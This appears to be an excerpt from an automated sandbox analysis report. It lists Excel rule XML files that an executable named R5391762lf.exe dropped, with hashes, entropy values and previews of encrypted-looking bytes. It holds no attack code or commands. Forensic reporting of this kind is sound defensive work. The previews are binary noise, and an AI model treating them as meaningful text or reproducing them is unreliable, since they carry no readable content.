C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170141v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.797462802241026
Encrypted:	false
SSDEEP:	24:4My4ruKCX4C2DMUakF9XYiTxWFdkWF9FnpZb1wXq8uWbD:TK/2Q/kF9XYiTxkdpFnpZ2XFuED
MD5:	E6A6512581D8024FDC57DCDA63B14F59
SHA1:	862426165C9233F855D7C0E377ED5D8A03BF812F
SHA-256:	60E616555018A517C051626717F7CE0F86557655842E7CC0B60ABB50FCD74168
SHA-512:	BF141B0CDE3EA42A182C2E2460C8F32B6304CEB92CEFDAB04E1DBE451299F34DC60CC55E044E7D1777C9BCCD025D3AE053EC004BCACB35723F1609139CF4241B
Malicious:	false
Preview:	<?xml.F.}....z..I=.!>...o.=..+M.A.7..tC...-.!...9.mW.7.L[s...=.......j^.1f.%~.q...RL...2...F. .t..BQ.}.....$..XkQ.qr..A.!......<Q..._At=N....ijT~...d.&.@k%\..(.T...+....y..z.i.......s*..l..Hzk.>......QM....<.!~........8._f.<...).=.<hR!.}.Bh..F..H.)......t(.?5N..0.....Hvl4..O._.f.W....w....d...v......R{.8.huby.b.S..m....h..$.y.%...=.eM.pi.f...8.B...bv..Q....A2...E.c.....rsD.3q.....^u.N..M...k.UB6.A..>.....go..5.,....f.,H.OBoC.PP.fK.....r5C....<.\|`\..."..I..{IA.yD..v-x..FtI..L..Ta1....B4).\|@........M..~...\_V...CJK....8.@..^^..wD..?.......;.....^.....Y..Mb.z.8..D<.8.A~..t.OY.D.I.....~X."..{<'.?....Vj6.0=.. .a..;._.G....?.GM..iF...o$...Nj.q..dVe.C..NE...p.w.s`...3`c.$A.h9....../8mX.S..6.'..4.Y..[.L..&a.....q../..rb.g..G....Fr....&.CG..7.<..{$#.`z6....Y....A.z....\|..4rb.u.P.Dj%..........#_C..c....#.#zj..\|..z.mM..BE......U......~.=.....S.'..IbQ.....Z.."...e ........e...Q:T..a.A..NE.GYjbc.Q<.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170142v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.74138391119905
Encrypted:	false
SSDEEP:	24:fpx9OUBVOYj0x77r6z6rbhkIPbj62ewQG/NyqYTXq8uWbD:RCUfa6UbhFP6ZoNyqEXFuED
MD5:	1E439EA9D532973821AFCD1CB208FFE3
SHA1:	E0373B65405D41C9AB4EB48A3912C6CAF2ECBA15
SHA-256:	E27AAB0779A526789FAEBDDF0F8EB35885D9533190E9D89385AF69B55FE004EC
SHA-512:	A4121E282E91B7C0469232F946142DDAABE985A3633841CDC49A8F9CFD68E8FD7D89FFD173FDC350D70D59C4534FF1BC0D3B3E2AB645B4AC0FE6A8D34BD92B7F
Malicious:	false
Preview:	<?xmlO..6...f..T...kd.......~4D.T[....1c.%.%../........J..g..D5.n.1I.Y.\|... ..0..6/.YHt..P..Sm"1.m..;+.R.&\K8..\|3.t>..S.....;.Cc.$.X.L...He.w..lh.w.....Y!...n.H.=....].-....+L df...X.R....aq..=.....v7.-K....D.V...L.nt.M.D.3g..B.~.....Z]g..mw.L..fd.P....Kc.<$.......iM..v..X....T?)[........*....yL.Ktp.$..C.....q.n.A9y.\Xf.....?R.S.u....`LY.V.............^%..../.o:8...\|..M].O.....l.D..CNzQqB..-6.M.v.{....[]...&9.F....v6..<..!...xc...I;.9.C........Ui....3.P...o.....[..&X<V}..%S.&.F.HZ..FH(..K..aA...:..W!.....y.z.K}..\.og...-..O.i.RE.@....0D...$..R.?y..Q.._..\r....G.....F<b.L...;."1?9K/.+.....V.@.Tx.u.....HS...G0r...F..>...U.6.TA[ui.c.oN...2.>..\|;..H.e.b....Jg.F.(....G.d........(u...(Z.F....I...:{;.d...A.Zf.>7e.....9.....V.M ...D.?...<.L..4.=.B.7H".n.9..L...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180003v5.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2217
Entropy (8bit):	7.901062048781165
Encrypted:	false
SSDEEP:	48:xu+OWENjULTXQsbZlQ1UGd1ldrd1VjvyPSEiKKsjBvL4x6v7TNXXFuED:xhBENj+jzgUUlxxF8j9o6zT1FuQ
MD5:	8A52F03DDA8D8DE36327AEB336C4BD42
SHA1:	1AC38C83A752E59226C8B88B493885F799F6603C
SHA-256:	CD6CAC06B2A27A567F787D89FAE764C4BA285CAC74629CBEAF755547AE94C21A
SHA-512:	D43222191E36C7207B9DE367282298A152BAE609AC951250F3307F8B399AB3BF7DB0852055299EAEAC1EB000DE51A560F0B207E9A9EC9E8303880AF4FEA59580
Malicious:	false
Preview:	<?xml..c+._....../...}...<0........3..T.......>..=..A....n.[..!.Q...#.....u....5.%.. %j0.p......~.2..v...G.0.`u.@_.........q.M_J].....?..G......S...p.k...+.........D.'XQ...B.......\|k...O.5..V.VF8..d..c......Q...?...".^.2"c..?1ozP...5.G.h...#.N{n....qn...A...\|..s..h...B.0.e.....pk.F.t....w....j.<.M..a.Le..Oc./.)....+..77-...a...e?.\|U......sB..:Z.b..c.O...TN...9=.m..o`.7Wg.........&.'h.N...u....<..Jv.X.........V..#N...H.{..j....K..p..:.....`:. ....{6.....eR.jA..LX..............\|..f.9.......';5....i\.S....ED.7....{.a.h..J...4.g.....57.....4.<.o;5+.a...8,.s.T.WU.......i%s..v..........Z....0..l....d..Q.$~......@..t"K{..\.p..i.".......0.....l_..Z$.f....b..I...Z)77....$...2..d^..J}v.x.i.../.[..o....-..7....+..>(m;m..4......!d...!..,.)....j..u{......J(.....(...S.~@.J.i&.0.....khF"(.k].SLA..\|..6.H.$.o.kjZ..3...daO..W}..~H.C<...^..T8.X...DQ.......U.....lF.2.....F..^.Gn...^.t._.p.1Oe.[u{1.h .Oq....-.P'Q; .n'..Rk .:..L..R.;.....P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180026v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	7.904494174594527
Encrypted:	false
SSDEEP:	48:RCvKfb/JG5ERkFqlVEhX6iap/q1FXHlt5M9S3YtqyYBj1vyD+4yXFuED:RCvmbhpkueep/0xX5cS3YtqyMI+pFuQ
MD5:	1B3073201135AAA6A0DA0632E9787896
SHA1:	6700DD5FED9A2935F580EFBEED0A7810AFA573E0
SHA-256:	A437A94CD46664DFEFCF21A0178F66472FB069DE7A5DC9A5C2B6A1B45BA159BC
SHA-512:	B5CDC67EBA7E2C10AA11430E8BC93940F1FCB9AE84BB796652010A907DE664BE2BF265A265BEDB38D7B07505D3B3C9799B3902790C214600176716C21FAB3242
Malicious:	false
Preview:	<?xml..Xl[O.C...{!.x9..L<>....sp...[.R.W.d`E8A...p5A=.......G)3..J.h..Bl.d.....=..........?.x,.N"Q...H......%9.....y$.?...1[j...J..L.R3z.;.....l`..yY.....J.-..#.Y.U......I.\|{\|..[.h.......H..8&.3....c........j..=..,.Pw.E..`Mdo....<H....l...fyx..4g......2xkB.v...'....8wv...x.}j.[..oe.2@.....t....i......vTvN&...r.g..t..s..>............X.a..."9.6.-.}5...........`.p..<..,R...!....A...Zy$..2.aX.u....w..T..%.f..d.(.o.w.i.ib`.Kn.g..G...I..v.{"s3...EPc.N..n..F.r....i.;Q.{.8.!y[...R.o....tU3...+..^...n.V.+...$?.....U/]D.bx..\..a..T.....au/..#`....A.*..V..hJ.3Pkl..G...w&..E..#..<.,.~.S@ !..X...#.k%..w..C..1.=....D.(G.].2)T.{}&.k.z@!.....3.Q.T.4...u.'..p.R.\|\|N..7.%.xL..1G....F...6F.8p`r....G...SFC......$.B&..2+..V.4...7....}.!].G. P."......7..kW=..$.'i...2.k...../.^....E.&J].@.k.o..;-w.i.-y.D.`..#.Es.q..sK....J./.]..tk..[C...........m...y...J..C.Yx^.)m.X....>.[.N...T\|.......0..q.#6..0...]..=..W/.1}...3&]...:7....U.$l. .}R5.^.F.d....`\..?/+..OT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180027v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3851
Entropy (8bit):	7.952031581430664
Encrypted:	false
SSDEEP:	96:QYxbw/nsxHOBHSmfi8XxL+w4WQC4RFg9+25tBgNSqKFSg5FuQ:zw/nsQ7nxL14LVRqhtBgAqKsQ
MD5:	8C5818A204FB80475E53DDD4E8F46C79
SHA1:	8D589630FBECA1CF66A893F1DB93505D0124BC87
SHA-256:	D266FA4F78AF330CFEB6C33B8B30E3FABC5CE0D157840326790D382BB578C8C0
SHA-512:	A0320CDA32692E0271F0E180C56FCB5958A4FA79188170214CE33F29CBB6D9D786EA1E8B2259E9389CF261E5B02FB5A1917F050691E92A21DB4362D443AB478C
Malicious:	false
Preview:	<?xml...t..#...V....I.n=(.....b..y.a....>....~&..~..3...........&..kz.Zz.VK.L.......dg...~.[........`S.0.{3.,.\!=.bU:N..S..k)..P..CM...1+?t..xI.oU....iw...h...1..:o...Z&...A..m.p......B...5<{.^...p..l=.....\`l.uL..A..~..im..p/.u..1.....U.9]...Mz.&....v....-..v.......I.g.,...TA.&q,..5.JU.........wp..Q.e..B..(sYo!+.K"??..D8...3......+....T.}.........M...S....=....."..$g...E.n".Os...h .L.!'...C:l.?......@r=k..skT.Y..$F,..kQ.K........0.u..:7l.Y8......=..f5..M:#?..a<Qq.M;H.m..-b..c..y.DTv.m.H..+.7...n.j..z...h...J..K....~..P.......dTM.-UnvD.F.X]...z./.O2..tj..`z...%=...A....Z.]g..s.n..7~....R.<jl.1.;.p..[...T.G=...^.9..%..X...t.H..2.8..uT.Q.K. .P@....i/.S.P.].?.......?v.1}.V>s.xT\...'...W.xN%^.......v....T..[.`sN.uw....l...i...oB..E...F.7vH..9Hz.~e-........\_.4......J...?.d:...Z.Y..........Yc..-...z.~R...K.....w.Q..{M$.q.....t`-.... ..C..?...V...p~`.yC.4.).{._.-.~O.....^..q..VJ...L..*Xm.1.^..d..g.......I2.H.6..?...Y.....>Lf.J`P...Nl...Z.D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180028v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3223
Entropy (8bit):	7.945404910333692
Encrypted:	false
SSDEEP:	96:kH27F6CIrX73GCmXQEDg+Ed5L04HONpkIFuQ:F7F6CeX72Cr2g+Edd04HONpsQ
MD5:	6CC8EE45A378F5B04090AA5E83C95EE1
SHA1:	EAD72238A3105806BBEEF2EA8A3F087BCB55F865
SHA-256:	3672046661AFE0FC632436AA985574FD0B83C181AB5045986A6D9A75143B54A2
SHA-512:	CD9DE32A0DE6A38498B6753EEA5035536F0FA043DB37553E5004A187CCA5212C6F5D0DB7E427637A265897CC0DC4427552710BC49476FCD1391613878F498C87
Malicious:	false
Preview:	<?xmlHe..\|QC.R\.c...V..Vz..\|..f...6.@.@...y....{..H...]O....AE...q.C.....Fy+.R$.,.V...[./..o./WM..(.>.....3+.+...,._f..e....!_...E..rA.B..\[..l..R.&1.9A..{^........J=.61..w..q....+..D..7..&..K...mp.#t..H.....b....@U.:\|)u9..-..........;W....m.20C....S.?R.5..$U...M..1......q....=2...X........nmu......>.........uL$ec.U....7....~0...00.H......,.+w.G8..\.B......@.7....V....J....{..:G.dn.9..M..km....t..P...[.T.UX...>.6.Np....3.\.{J....a..%.M.0...x.n.N.........!.G..-~G.R.(........O....N.\..[P[...+o-.A.v...wYR*........,.\|..&..R.5..G..\.......'..g...f.Y.](.4.`.B+...K-.....G....hC.....FGt.Z........k~ONO..JX.[7).ZL.C.d..Z..!.3. ...VZ`h...-K.<W...s....@.}..sRC./4:P...k.[.^.......M.Al...q....2..J...9K..Y3....W..7r..tF..@...:..>1h9.L..P.....1.~.]e....vD._.W..@.a`....,r...<......3........F...1....}...H...u...b.L....G.a....Qv.~.. ....u.RNY..@..{.j..@..4..<./\|...P^.,...~........:.$.$.4.{E..}...G1.).q...E5;..^I......k....&.O...,.C...T/T.......!G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180029v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.8766952510712285
Encrypted:	false
SSDEEP:	48:ZWzqcmy6o0DtGnwzlkromP9ldVAENTgC7DE+6XFuED:zawAkENjwFuQ
MD5:	8D70C058B6896363D19879DA3A3DDD95
SHA1:	253C26E9E8C0CDC6225355BD519E4C4420F8D807
SHA-256:	8476936DEC4A02CDED6EF56A0546F94CBB889858B535C0241F09231F0E282836
SHA-512:	BF37878693B039514439EBF6D8BB6899C381231FEAF274E2F7B2C842E4170387B8BB4467657269B014D3A72DF40B3702D8EDFB571682D192431396CF8C7A6C90
Malicious:	false
Preview:	<?xml.M.S....Q.w`..Sq....S..{C..\|..@....I..\|e .-....5T..~.S.[..x.$:..r....5..<..u..BY^....!.....B..F!.8i.,........%..y.4s^.b.....]t.-..K..O..g.]..#.!.w.3."..]i.0...0g......ix..Ko.rj.:....s@.S..a.&.......u..:....fP..!.......\f......Y..Q...L.`....'.qG.oJ......l(..A....h...l!.....0../Ej=.N.L..5.......1.7`..;..+8sY.eM.0;wI&.....Nbe.2..l.5...0....wY.f....2..Vw.....D.$.H..s.a\|..Zu0N:.....x...VW...'[WD-S.A`o.-N...FZ.y...4...J.[...3...b..L\e...6Yy."[{...[-..R..z.o.b..\^...`......b..d...E..5{....$).f.'.(..........P....i..b...}......b]h4.{XQ.:L..9......!.........^...t..gC....\iU8.-.9.K...V6...K.s.,...y..Pn./........\|$..9%%b.R...{Z.....\ .\|....y.QS._........P..,RR;.....H...H...E.V....l...#..n..Y.t.9..52F..$-..s.......f........l.....m.`...4...~.U....<H.h...u....K...!..A...f..t[D.+......V.V2.J.>T.IS.F..P.}....J.7b...)..)Y...!..4..p...5F..g.*Wy4.R...n....[uE..o..1H.v..._ `+W.w..$...)..:A%...{N..~....s..P&#.@.`..D..... ..1.C.......(...o...<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180030v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	7.867706384408912
Encrypted:	false
SSDEEP:	24:WUohg5pTa/oiq+vMzJL0gkcLo4vvGKiVWhA3G5eIgCPMrkmYQhH/e+Xq8uWbD:hoS5hag6MlLZkcnWqA3V3RFRW+XFuED
MD5:	5296BC4AC792F1F8D91578540C3E686A
SHA1:	F05472BF240AF51CAFC0C7C692436D8BFD0A4492
SHA-256:	C8A6BE9A405F6C22984FB60F29052081BC387E9CE3EE3201F6E07C44D293D823
SHA-512:	58FE7C997A5C0BDF6E81423EAA3A83E112C8C7B7721561C12353324B77D5A61EDF69257D635B12268F0A6EDB0D4614A2FDDF3A5E0180D20A7F49811981314A11
Malicious:	false
Preview:	<?xmlia........I....w.e.........)7..).........u..........zP...g.iLH7.g@.Qy^...l....z....D.S.3.e.....x..v....t.....5[.........:M?.i k....'.......m..R.^.o........I.kQn.......S....9...TQ....f)...X3.4.o.A.2G..L(...P....p..MW...O......$.z.9.C.RC.H,$PU..9~.../I\|dTr.6....l..x.IV.~....04.V..r..K..`.tC^odM:w.\|.n$.....-.T.&.Y..k....0....c=.SS.H....6.....%.7R....0...>.X..TC...+..}f.1cK....`.....m.D....S...z...[.=\)}w.hEg.O.n.`."P.....j.......&.#^.r...l..^..I......d.,4..H.6....N.../.O_VhG........I1o5...T.\|..}%x..o(.Tn \|..Kv.x.;8.-...uz.-..s...}...2.3,. .=d......A....K.57........."...w\.....M.z.h.......>.u..7..B.M=O.{i....=^.@...x.q......6..{....l^.v.g....u{3_i2.J..GN&K9..A....1M.9[.f........h..W....,.=..JW.Q..=..j..DP.k2!..2...fq.U..w..A..%,=...)....H......;.pq..../[...a.#VQ.\|../4...}..b"=\..3.?A..j0.N..p......M.....Kn..zW3.nZ>J%...bC...m.p..j_V.N..<S.Z..<.AGi..oB=.)=.Dc.,..t.y..L.~....[E.k.1z...a_..*{..s......6.Ez..O.U...c_...t.+v"..l....B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180031v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1978
Entropy (8bit):	7.896366284836798
Encrypted:	false
SSDEEP:	48:AHzuh58r3gS1QMJ0ct4myloQRczh+6lu8yXFuED:4zuE37QMJRt4myloSrvFuQ
MD5:	4422B58BEA9D6A224A5D3261155045A8
SHA1:	99B965DAC2D086D0CB8102BCAF5C0240AF382AA1
SHA-256:	480E596D6A79FEC40983B312FAF4450DAB00B5033FBC916C581698A127D961FB
SHA-512:	4F089B53689C406B0A82A98F5915CE19F06EE97ECFDC2A146F5568A5AA6406BA55843D4508C15B722BEBD421D2D6D349C2C7654BBD4CD7568E6EA2991626EFA5
Malicious:	false
Preview:	<?xml}.....A.....3..p...\|...>sb.i.nR _B%._\|M"2.@.....X..e...c8B@.....=.@R&.\|..O.....c..B.`$W.=kNp.I..t.3...a-..;....13.....X+...3....Td......b.R.<8..N.o.....sH..6aie].......Q@f..$....z.vW....8y....3..GG.V.pF..\|..zYg.&..>.<u......'.._p.+Gx..............q....)x2.W6..(.\....o........G.T...R...H.M..B...<.f......T]..........#.....M.5wl....AF.\o...!.f.ds.j.kn.].......T.....\|...q..#.q..3...7Yg..)...#M...A,..]..Ft ........z...a....7;gq...ez_.N]...wZ\+%S!....2>..;..]...4.c4)..f.."..Sf......7j.-M.....w..../R..P..n.G.y....w.b....x.A.p.&i\|..y:{%E........../...y...........~+....P.2.9.?.TpSr.....p.(...LM....y..D.&)....6."R...7.....x.(.F.&^.Man3u....s^.L)ra'....U....w.......5.<.........I.Y..bf..x.(...7.8.?.[..../y ...P..r......r.Y\|..bEYyC...>C;..+._..P.\|w.......&..S...../=$........Zz...~....dw]-...M" ..g%y.`..f..<....m....Hl.fp...v}^k.Hn.y......G..gC..n.u.R..r.%$..'.a>>fy.-2..'...P._.k....nh.....!K$RNX......5'.0.5."*.eU.?.n.....M.W...$c..t.......H.`w0+.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180032v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	7.8733027233277
Encrypted:	false
SSDEEP:	48:yvuiAHvefF9seT/A9bn2yKCjNcAcWSdK2d0PWHMs9lRXFuED:yWyGaYzcWCK7+Ms/RFuQ
MD5:	612C18DB83C0B7B96F36F2E498F10930
SHA1:	3EE2E9D312B0E5755172343F0D24E94CE5182FCD
SHA-256:	64A6BB67B9D0CB33DD26F83DBA7B31ED081E894F91EFE790D68841EC6302C3B3
SHA-512:	EA1E7CDB9CF37B0C28026760241E5B85FEC1E8E590EF147A571F1CCBB4F40357207029EDA431E82502911575B48EECBECC53B19EFCDB34B3728B867594D65542
Malicious:	false
Preview:	<?xml....'.%...."r...XE.j...b.....v :..]YH.x.H........l.9.E.}......8.....~.yR.D{J.X..w......T.zr.8y...y....#qqb...... ..0.....%..........._.s...}.<-.<D{..7...Or...^..V.z.k.........G.Ta..H.F....d.BE.......H.d...m..p.R...x_U.xQc!3.f...o.......s.2s......;$.......l.....U.d..8'o..S. ....7#l..F;/..M......ftIQR.m....d....`..............%#.e.3...L..K...qU..T..`_.8.v..A..z64s..Z@.a..e[."....&m....s....V..5.Vi.t[..r,.8B\|mN.[+.E.m...&5(....5.6%.:....i`.8ZZ..O...^...... K..J.....V....P..n.j...WS:.k.w.5...'G0......C9%'...P3...y.N.+...H;..WA.....wJ?.'B.y.A....0.s.....U...pr.`..T...%...f.....O.3&I..N ...?....Z..u...cG.fS,B.h..-..h.0..G....v....8.#..o....W...7@#;'{..EA............$........".\.fE...m..T5....k.).......[.cY\|./..0l...P/.k......'..V.J..D.i...._.-9.a*......xN.:P.UAE..~.l.....0y..T..7..ybz.bA..9..D0Ws1.(......yj......].....3.....@S.%h&L.Q0....T"...e\|...D...q.LwM...,j.R.T.P.+J.l.L...C..W2...Pz.b=.h..}./.7#s.B........4i..4../....5.9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180034v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.887113547462834
Encrypted:	false
SSDEEP:	48:qdbY9bvU6GssfOpJdY/BERMZe4u2s/ZB8ksH6B8+hKXFuED:ssc611ZYZeMqRZUH48+SFuQ
MD5:	C9C1D9BCCF5A424397CADDC0C711EEA3
SHA1:	B493A2DE06F72E8E352DA0CE2A40CC94950B55DA
SHA-256:	2AA91FAF8CA2D81291A06C226A8559041D244B13C085CD2CA27DD50ADD379F36
SHA-512:	35344DB23B4026ECBC941E943913003E13AC0BB25E84A8969BC7E11A302EAFFBA51200B65FE3AF4BC12F7F64FC89EC8BC624BD8810D9FF1951EEA282C60E420C
Malicious:	false
Preview:	<?xml......z....y>.x..t..ck2^(..j..L..;..L"...By.....WX...K.......V..X,.\|..P_#...z..S....{\E.,.......o.).....$^(..p.B...+..@R..V..!.("U. t[..._.\.....q......0.O.o.A.Q...?.!...Z8Vv9.=.2).fF.aI-...G.\`..J[..X...q...w.....I.mxn......$s..L...AV.y..3.K.pz.1L.!...$..$.Po.Qe....<7zN...>...?....#..g._D.,.....s...y5..7..+/.]..hI...G.~t.^....F.F....n.,.......=...%..jf....s..L.I.3.D1.m..-r......<....`h...5r..P_.c.!.=4X`#@\|..+4.ur$"B.z........'W............r..y{%u.....?..6..m..C...3..df..9.e.....`.\|%.2.5..d.>.n......\|.I.....-k.T&Ge;.K.s.7\.i..\|?.9/<W_.%....be.......@W..X..xfd{.].0.h...^Y..h.#X......!:.L.Ng.4+..H ......lK..A.R...l.ki..fV....Yq....S...X.D...g...L/DF.Z.>.c.n....].%.$h..Q.6...\...G.y..Ze0..b...T..........E.^-...1..D3.\|g$.Sz........J.....]b.H..K...Z...K=4f.&"..P..}..Z......<.R..F...H2..=..KD~b#.v.f...A{. i...R#a...{m:...mHL...4......4....XX`c.+ .9.x...$.... ...{.%k..%\.n1>}...$...&V7..hm....e..gZ.....R....;.Q....O.,c..x.%..T#..j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180043v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.89806669422089
Encrypted:	false
SSDEEP:	24:10B0vdhOC3PhnrsMyCjoXDC1L4sN22pYHObJ/OOfOOqo9E1cGwXq8uWbD:vr/hrskjOC18szbJFWiUwXFuED
MD5:	19545BD0ACD8D4A371EFE74081638BCD
SHA1:	FDD34BCE07A8393A510416367F14550892587D64
SHA-256:	9C185FAB98478B06104065C37C8606ED3A4EF68D73F60A3EAE1C9A1701A4E877
SHA-512:	595952F8D527669BBAD8BCD1A14B65C070FC24486689546F4D781F43DBECF2D3E823F80AC55FD83C0C4DD7603F04E3E460D9C235710A9CEEFFB2CEAB5DC13264
Malicious:	false
Preview:	<?xml.LOp....t.f......x..e..q.._ag....'zY..,>...b......wR.E..Y.a......x.H.@.c......vq..P....9.)..W....%.l(..N.n.KC..nx..qt.}...3...e....R 7.NvK.(G).=.....kR.:.H.KE....L...m.Z...~....L.(...lq.#.L......z.L..>.Z..qy0u.....'.v.k..m...7....Ps..p:...z-n.!.v...D..D.)Z.o.L..%:.........'4.r...`.)..\.K..'N...l.....g.s.q.w.....$.....0f..]......d.$..v..h13..d..Hoz.rU.G.Q.ZM.V.Pg3...7..yq...sv...E....^/.......A(.\|U3,..B........]Z.q.j........B.~-.F._H...zC.....N=.#..j8{....t.{i...b...2m....bok...x.F....TKe.S..?3..r;p.\|.......4S.[....Q..`._.d/..4.aX..idAS....J.).s..z..f.....#.R z\u....Bx..s.1..QG..v\|.@.g.D.ms.E..t...@.S....A...5..$.<3A.si&..U&...8....}P.9..H.:a]...V_..!..la...+..U..5..;.O._.R"\.8.eN</1V.jb,J.Ja.Y.hpm...5..<.9l.?..X.../^..4.A...(..nq.+.<.A2..C.d2..\...OZ....q.;.iu#....wZ.,7^R~....Z....$..s.i;....:....Z...t=.1QY\....J.x..sQ.!...CQ.k...b.."...=..".a...:....r..s.P.h.Dy..I........k.[o......s."...<....p...U.p.7..}.......j.A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180049v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2858
Entropy (8bit):	7.938804202513985
Encrypted:	false
SSDEEP:	48:W/GX+kpdcE9I+6oKfrtT8jiyzTxvKS/aaHLKhApwfnew7B2vnx3znK8d9XFuED:WEn/I+6pDuji8xvKSiaHKApwfnew7B2f
MD5:	348A8033A70B0FFE6FF1AC29E7702F71
SHA1:	A1C86555BB8E8D7A774BA31B96F53C755533675F
SHA-256:	9B174EA8C2BD1FE9BDE6D0AF4DC343BD775E1D3A388A331AB40BE30C3C81B01D
SHA-512:	5BE7842472A0399AADD29840155826CBDE1D38B1E1C8BD0F92E2E5C6733E60BE7CEE10BC187DA7E0179A12280CF829593AEE81A775325B9F0F6271D867868812
Malicious:	false
Preview:	<?xml2~.....i.Ii-...........3}..0..#.{!..G#g.g.R..!...X....Bj}j..v.)..&.&.t^.K.b;..5...2...9....D.2.~\...x.D.E......r.Y....I..`.;...._.e........1.l...{I.....z.....J.....s.\.<-.:.n.,....c..&...jq..QH...;.w.\|..C..dk..W..V..V......&o..g....<~.10.'.Kxk<.).+.P..(......r..S}...>.<./.{.../YU9......w\.;n.A..w...$V.^<.V).{=.Sa.T...._.-..}.........Q...]....6.30.....E6..I...FW.<....w.t....O+W../.{......;......]...\.b.d#B.P.z}...gz.......5........#.......p..Db.....,.\|.........z......m...$5N.......A.c...mqJs+(..U,...z.a..7....4Tg.-?......=<.B-..~......@.`..../...n'.<.@...sx.....J`.?Kc.b.Vq....m...b..<.#........@izH..]wD.B.....q.%.)...n..q~Blc.V8..A.=0.f....@=.l.>.....@uk=.J.(.6..f,o...!.T.K.aO4....A..`.#.Wm..u.X...VAZ..b.)..{"U..y:.jw.-...;..w.s.._...Rr!......e.SN...#.-wId........I..............T...m0K....$.%.<.o# ...l..5...B.. .Z.....}x........CC!PJ.W.Uk~...fN...Z..!4D...b.4.0\.h...^....O7/...........<E.....N...N.. .f7F..=VN...~.X..h.$...d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180051v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	7.80659854865905
Encrypted:	false
SSDEEP:	24:6dfIib9XFeB/WIwB7hqFD1hhB8ZpadSF7GrSfc6qdHwe3epqXq8uWbD:6dEB3Y7hqFdCgk7Lf+HwlsXFuED
MD5:	6B29E44A728F91F7079993AA7864D142
SHA1:	684B27D352171BCF78C3321A737B6A31B33CBCED
SHA-256:	B4EF1DFBDC4CA703D1D559B77C472578959C0A3DA80C41AE045BFD12A332C932
SHA-512:	4E8EF9F9E2B1ED9F186F4FE7EB547D47BE499132F76D2C334635F6F899ACFC625C9D0BBA56CDD09AE67376E7DBB8CFA92E793FDCFCB30DDAC80A7A640CD552F9
Malicious:	false
Preview:	<?xml.j5.i.5x.q..r.~HC.6..p....O.w.\..oj..D..dT+os...?y...e.!F..ji.Q3.E;HAq.Hf..=:.3wn.~g.>.yVb..k.imcr^...Q...rT...Y....Gg4.<.q.O..y;.T.aKA..F1....#...vw..Qj..\|.z..'.,.?[..g.P.pPH...g.......8+.)...H.......P`.]..g....t.(.. ...l..'...Qo.Z...Y....Z..df.&:_....,..........J..-..J....^g....#.....9.0.....0..(=a.t.{D..rr/...5."....aU...).l..y...s.?f.[...]...........3....0F..X0.z.`.h._....;S..d........i......3..hl..]T`....b.f..s..t.V...........w..Bq..\|.n...Ty#D`.l..H....,G..QC..,g....].E..H^*.o.s...@}%.Uk.....o.?J...,...%............L...p..y./..h.d=..c...9.m....o..}......S.;.V..T.Y...DM..!..\\.}..U}.P........h."'.W....{.I..._...u.n...;..].o..C...U.e'Z.:mA..".$..g:/o..Y..F..%.z.....L&......?..8..~V...4.....Vm..j.g..K..uY>...Z`.-G.'....<<.......7A...F#{.)-t..<..y1E.........&q....A...uJ.....g.... ..^.b.]...VQ.s.K.M.4.....u.j..y..H...t"...........JQ..E....B.w.S...,...Mw...gs.d~N....:bU'..<..>..z..F.6....,Kng.J...g.1.!..@.^.`..0U........=..`Q]X....b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180052v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2834
Entropy (8bit):	7.930289724868654
Encrypted:	false
